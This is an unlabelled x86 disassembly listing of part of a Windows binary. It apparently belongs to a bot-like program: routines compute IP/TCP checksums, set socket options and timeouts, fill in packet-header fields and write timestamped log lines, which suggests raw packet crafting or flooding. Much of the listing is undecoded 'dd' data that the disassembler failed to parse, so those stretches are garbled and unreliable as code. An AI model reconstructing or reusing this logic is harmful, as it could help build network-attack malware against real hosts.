		dd 0FFFFFE44h, 42B0B868h, 0ADE85000h, 59000077h, 7459C085h
		dd 7784E825h, 36A0000h,	0F9F75999h, 0E8F05589h,	7776h
		dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h
		dd 0C6000002h, 0FF50F445h, 4CB65415h, 45896600h, 0E0458BF6h
		dd 8B9C4589h, 146AE445h, 0FA5D8966h, 0F85D8966h, 88A04589h
		dd 45C6A45Dh, 15FF06A5h, 4CB654h, 0A6458966h, 6A9C458Dh
		dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h,	50146AE8h
		dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h
		dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh
		dd 8113E8h, 0E8458D00h,	8D50146Ah, 0FFFF7485h, 1E850FFh
		dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h
		dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh
		dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h
		dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFDC485h, 875FFFFh
		dd 64CC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h
		dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h,	0FFFBC085h
		dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h
		dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h
		dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 90535959h, 2BBD17E8h
		dd 0FC75FF02h, 0B6EC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h
		dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h
		dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 647C68FFh
		dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh
		dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh
		dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h,	0FFFFFBC0h
		dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh
		dd 2BBC87E8h
		db 2, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A6
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414398:				; CODE XREF: ___:004143A0j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414398
		pop	edi
		cmp	eax, 1


loc_4143A6:				; CODE XREF: ___:0041438Cj
		jnz	short loc_4143B3
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B3:				; CODE XREF: ___:loc_4143A6j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
dword_4143CC	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6D4Ao
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 6CB58D50h
		dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h
		dd 50000001h, 0FC6C858Dh, 0A868FFFFh, 50004365h, 7449E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh
		dd 8D14C483h, 0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h
		dd 59FFFF6Fh, 0E8905659h, 22BBB7Ch, 81EC8B55h, 0CCECh
		dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h,	0FF68D6h
		dd 36A0000h, 4589026Ah,	0D415FFF0h, 89004CB6h, 0D6FFF845h
		dd 741EE850h, 0BF590000h, 578h,	6A096A57h, 41BBE801h, 59590000h
		dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch,	0E8900000h
		dd 226C356h, 33F0452Bh,	3E8B9D2h, 0F1F70000h, 1A0853Bh
		dd 870F0000h, 1C2h, 0EE081D39h,	5975004Ch, 8958106Ah, 8D50EC45h
		dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh
		dd 0FF0875FFh, 4CB5F815h, 0FF6800h, 16A0000h, 4150E8h
		dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh,	8D509C45h
		dd 0FFFF3485h, 0DC6868FFh, 0E8500042h, 732Eh, 0EB18C483h
		dd 34858D13h, 68FFFFFFh, 4CE7E8h, 7942E850h, 59590000h
		dd 0FF34858Dh, 0FF50FFFFh, 4CB69415h, 0F4458900h, 24A8458Bh
		dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB65415h,	45896600h
		dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h,	19C858Bh
		dd 0C7660000h, 40B245h,	40B445C6h, 6B545C6h, 0B65D8966h
		dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h
		dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h,	0FF502566h
		dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h
		dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h,	0D25D8966h
		dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh,	8DB64589h
		dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h,	0FF548589h
		dd 458BFFFFh, 58C68BCh,	85890000h, 0FFFFFF58h, 0FF5C9D88h
		dd 85C6FFFFh, 0FFFFFF5Dh, 0D0E8E806h, 66907169h, 0FF5E8589h
		dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h
		dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h
		dd 68FFFFFFh, 598h, 0FCE0E850h,	0C483FFFFh, 45896620h
		dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h,	0B6B815FFh
		dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0EC15FFF8h, 8B004CB6h
		dd 5E5FFC45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_4146CF	db 55h			; DATA XREF: sub_401ACD+4CC0o
		dd 0EC81EC8Bh, 414h, 5608558Bh,	85B8h, 0C88B5700h, 0BD8DF28Bh
		dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh
		dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h
		dd 0FFFFFBECh, 4365DC68h, 5FE85000h, 8D000071h,	0FFFBEC85h
		dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h
		dd 0B8BAE890h, 8B55022Bh, 54EC81ECh, 53000002h,	0FFBB56h
		dd 53570000h, 26A036Ah,	0B6D415FFh, 0F883004Ch,	0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 4367CC68h, 0BE85000h,	59000071h
		dd 0E959FF33h, 2C9h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4CB63415h, 0FFF88300h,	15FF0E75h
		dd 4CB5E8h, 677C6850h, 1BEB0043h, 500C458Dh, 0B69415FFh
		dd 0F883004Ch, 0FF2075FFh, 4CB5E815h, 38685000h, 8D004367h
		dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h
		dd 0DC45C766h, 15FF0002h, 4CB654h, 0DE458966h, 500C458Dh
		dd 0CAFEE890h, 358B7169h, 4270A8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0C68FFFFh, 50004367h,	7069E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh
		dd 0BB05EB00h, 0FFh, 0EE083D39h, 5275004Ch, 8958106Ah
		dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh
		dd 50CC458Dh, 0FF0875FFh, 4CB5F815h, 16A5300h, 3DD4E8h
		dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h
		dd 6868AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh
		dd 0E7E868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9E805h
		dd 15FF4500h, 4CB654h, 0E9EAA366h, 458D004Ch, 0C76650ACh
		dd 4CE9EC05h, 66000100h, 0E9EE3D89h, 5C6004Ch, 4CE9F0h
		dd 0F105C680h, 11004CE9h, 0F23D8966h, 0FF004CE9h, 4CB69415h
		dd 0E9F4A300h, 458B004Ch, 0E9F8A3E0h, 858D004Ch, 8Ch, 3D896650h
		dd 4CEA02h, 6E30E8h, 59C08500h,	8FE81075h, 9900006Fh, 401B9h
		dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B65415FFh
		dd 0A366004Ch, 4CE9FEh,	6F65E8h, 1B99900h, 68000004h, 408h
		dd 8966F9F7h, 4CE9FC15h, 5415FF00h, 68004CB6h, 400h, 0EA00A366h
		dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CEA04h, 6BDBE8h, 0CC48300h
		dd 6ADC458Dh, 56575010h, 4CE9E868h, 0F475FF00h,	0B6B815FFh
		dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 5BE8FC45h, 900226BEh
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h
		dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6ECh
		dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch,	6D58E8h, 0D2335900h
		dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh
		dd 66A86850h, 858D0043h, 0FFFFFDACh, 6E3CE850h,	0C4830000h
		dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh,	210B5FFh
		dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh
		dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5E815FFh, 8D50004Ch
		dd 68500C45h, 43661Ch
		db 0EBh, 0ACh
word_414A92	dw 8B55h		; DATA XREF: sub_401ACD+6362o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h
		dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h
		dd 50FFFFFDh, 0B69415FFh, 0E850004Ch, 147h, 500CC483h
		dd 0FBEC858Dh, 0F868FFFFh, 50004367h, 6D89E8h, 83F63300h
		dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h
		dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h
		dd 0E8905659h, 22BB4BCh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 71AB3E5Dh
		nop
		jmp	loc_414C2B
; ---------------------------------------------------------------------------


loc_414B6F:				; CODE XREF: ___:00414B59j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		call	near ptr 71AB155Ah
		nop
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB5FC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_414BD3
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: ___:00414BCCj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDE


loc_414BDA:				; CODE XREF: ___:00414BFEj
					; ___:00414C22j
		mov	eax, edi
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BDE:				; CODE XREF: ___:00414BD8j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414C00
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BDA


loc_414C00:				; CODE XREF: ___:00414BEDj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BDA
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2B:				; CODE XREF: ___:00414B6Aj
					; ___:00414BD1j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 55h
		dd 0EC81EC8Bh, 10Ch, 6A575653h,	0DB335801h, 68535350h
		dd 0FFh, 26A036Ah, 90EC4589h, 6A0DACE8h, 0EC4D8D71h, 6A51046Ah
		dd 0A3505302h, 4CEE78h,	0B63415FFh, 358B004Ch, 4270A8h
		dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h
		dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh
		dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h
		dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h
		dd 50h,	519045C7h, 0C7000000h, 589445h,	45C70000h, 6E98h
		dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h
		dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h
		dd 45C70000h, 1BDB8h, 0BC45C700h, 400h,	99C045C7h, 0C7000005h
		dd 5DCC445h, 45C70000h,	6B8C8h,	0CC45C700h, 0CEAh, 3DD045C7h
		dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h
		dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h
		dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h
		dd 2FFFFFFh, 68858900h,	8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h
		dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB654h, 6A016A53h
		dd 85896602h, 0FFFFFF66h, 0B6D415FFh, 4D8D004Ch, 0F44589E4h
		dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h
		dd 75FFF845h, 0EC15FFF4h, 39004CB6h, 0C75F85Dh,	8BFC4D8Bh
		dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 7CBF837Ch
		dd 68004CEEh, 42D124h, 6A84E857h, 59590000h, 4589D6FFh
		dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h
		dd 68575015h, 436824h, 0F0458957h, 6A45E8h, 10C48300h
		dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B65415FFh
		dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh
		dd 53286AA8h, 4CEE1868h, 6716E800h, 0FFBE0000h,	0C60000FFh
		dd 4CEE1805h, 68564500h, 400h, 0EE2105C6h, 0C606004Ch
		dd 4CEE1905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB65415h
		dd 66286A00h, 4CEE1CA3h, 5415FF00h, 80004CB6h, 4CEE200Dh
		dd 1D39FF00h, 4CEE08h, 0EE1AA366h, 8966004Ch, 4CEE1E1Dh
		dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h
		dd 2310E0C1h, 0EBC10BCEh, 0E7E8680Bh, 15FF004Ch, 4CB694h
		dd 4CEE24A3h, 8458B00h,	400068h, 0EE28A300h, 1D88004Ch
		dd 4CEE39h, 0B65415FFh,	5356004Ch, 0EE3AA366h, 62E8004Ch
		dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h,	0F80310C4h
		dd 5015FF57h, 0A3004CB6h, 4CEE30h, 4CEE38A0h, 87D8B00h
		dd 500C0F24h, 38A2146Ah, 66004CEEh, 89F0458Bh, 4CEE341Dh
		dd 1D896600h, 4CEE3Eh, 0EE2EA366h, 3D89004Ch, 4CEE54h
		dd 0EE581D88h, 5C6004Ch, 4CEE59h, 5415FF06h, 66004CB6h
		dd 4CEE5AA3h, 2EA16600h, 66004CEEh, 0EE4005C7h,	2004Ch
		dd 0EE443D89h, 0A366004Ch, 4CEE42h, 0EBFC5D89h,	0FFFFBE05h
		dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 5415FF50h
		dd 66004CB6h, 4CEE2CA3h, 0EE24A100h, 50A3004Ch,	0C6004CEEh
		dd 4CEE3905h, 1D890200h, 4CEE34h, 53561FEBh, 0EE3905C6h
		dd 0E810004Ch, 3695h, 0FF505959h, 4CB65415h, 0C0B70F00h
		dd 4CEE34A3h, 5FF6600h,	4CEE1Ch, 0EE3005FFh, 0A166004Ch
		dd 4CEE2Eh, 0BE59056Ah,	4CEE2Ch, 4CEE5CBFh, 1D896600h
		dd 4CEE22h, 3C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE18h
		dd 0EE42A366h, 0E856004Ch, 0FFFF5C25h, 5068206Ah, 66004CEEh
		dd 4CEE22A3h, 5C13E800h, 0C483FFFFh, 3CA36610h,	6A004CEEh
		dd 0EE406810h, 6A53004Ch, 35FF5628h, 4CEE78h, 0B6B815FFh
		dd 45FF004Ch, 0FC7D81FCh, 3FFh,	0FF238C0Fh, 0AFE8FFFFh
		dd 900226B7h, 33F4452Bh, 3E8B9D2h, 0F1F70000h, 770C453Bh
		dd 1075FF0Eh, 0BDF9E890h, 0C2E90224h, 5FFFFFFDh, 0EE7CB85Eh
		dd 0C95B004Ch
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B5	proc near		; CODE XREF: sub_401ACD+7200p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D810
		mov	edi, 0B8h


loc_4150C9:				; CODE XREF: sub_4150B5+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EC
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E390
		jl	short loc_4150C9
		jmp	short loc_41512E
; ---------------------------------------------------------------------------


loc_4150EC:				; CODE XREF: sub_4150B5+17j
					; sub_4150B5+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D810[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D828[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_4294D0
		pop	ebx


loc_41512E:				; CODE XREF: sub_4150B5+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415135	proc near		; CODE XREF: sub_401ACD+28DEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436840
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D810


loc_41515F:				; CODE XREF: sub_415135+72j
		cmp	byte ptr [esi],	0
		jz	short loc_41519A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43682C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch


loc_41519A:				; CODE XREF: sub_415135+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E390
		jl	short loc_41515F
		pop	edi
		pop	esi
		leave
		retn
sub_415135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AD	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2760152h
		mov	ebx, offset dword_4D327C
		mov	edi, 80h
		mov	esi, offset dword_4CF27C


loc_4151CF:				; CODE XREF: sub_4151AD+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E6:				; CODE XREF: sub_4151AD+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CF
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524D	proc near		; CODE XREF: sub_401ACD+27D5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF27C
		xor	ecx, ecx


loc_415254:				; CODE XREF: sub_41524D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D327C
		jl	short loc_415254
		cmp	[esp+arg_C], ecx
		jnz	short loc_415282
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43688C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_415282:				; CODE XREF: sub_41524D+19j
		push	offset dword_436878
		call	sub_4151AD
		pop	ecx
		retn
sub_41524D	endp

; ---------------------------------------------------------------------------
word_41528E	dw 8B55h		; DATA XREF: sub_401ACD+2888o
		dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h
		dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h,	80h, 89FC5589h
		dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68BC68ECh
		dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h
		dd 0FFFFFFh, 858D1774h,	0FFFFFF68h, 6483E850h, 0C0850000h
		dd 0FC458959h, 45890374h, 86583F8h, 0F27CBE00h
		db 4Ch,	0
; ---------------------------------------------------------------------------


loc_41530A:				; CODE XREF: ___:00415362j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415364
		cmp	byte ptr [esi],	0
		jz	short loc_415353
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415339
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415339
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418087
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415353


loc_415339:				; CODE XREF: ___:0041531Ej
					; ___:00415324j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_415353:				; CODE XREF: ___:00415315j
					; ___:00415337j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D327C
		jl	short loc_41530A


loc_415364:				; CODE XREF: ___:00415310j
		lea	eax, [ebp-31Ch]
		push	offset dword_4368A0
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539E
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_41539E:				; CODE XREF: ___:0041537Cj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 45E8h
; ---------------------------------------------------------------------------
		lodsb
		sub	eax, [edx]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BD	proc near		; CODE XREF: sub_401ACD+7350p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
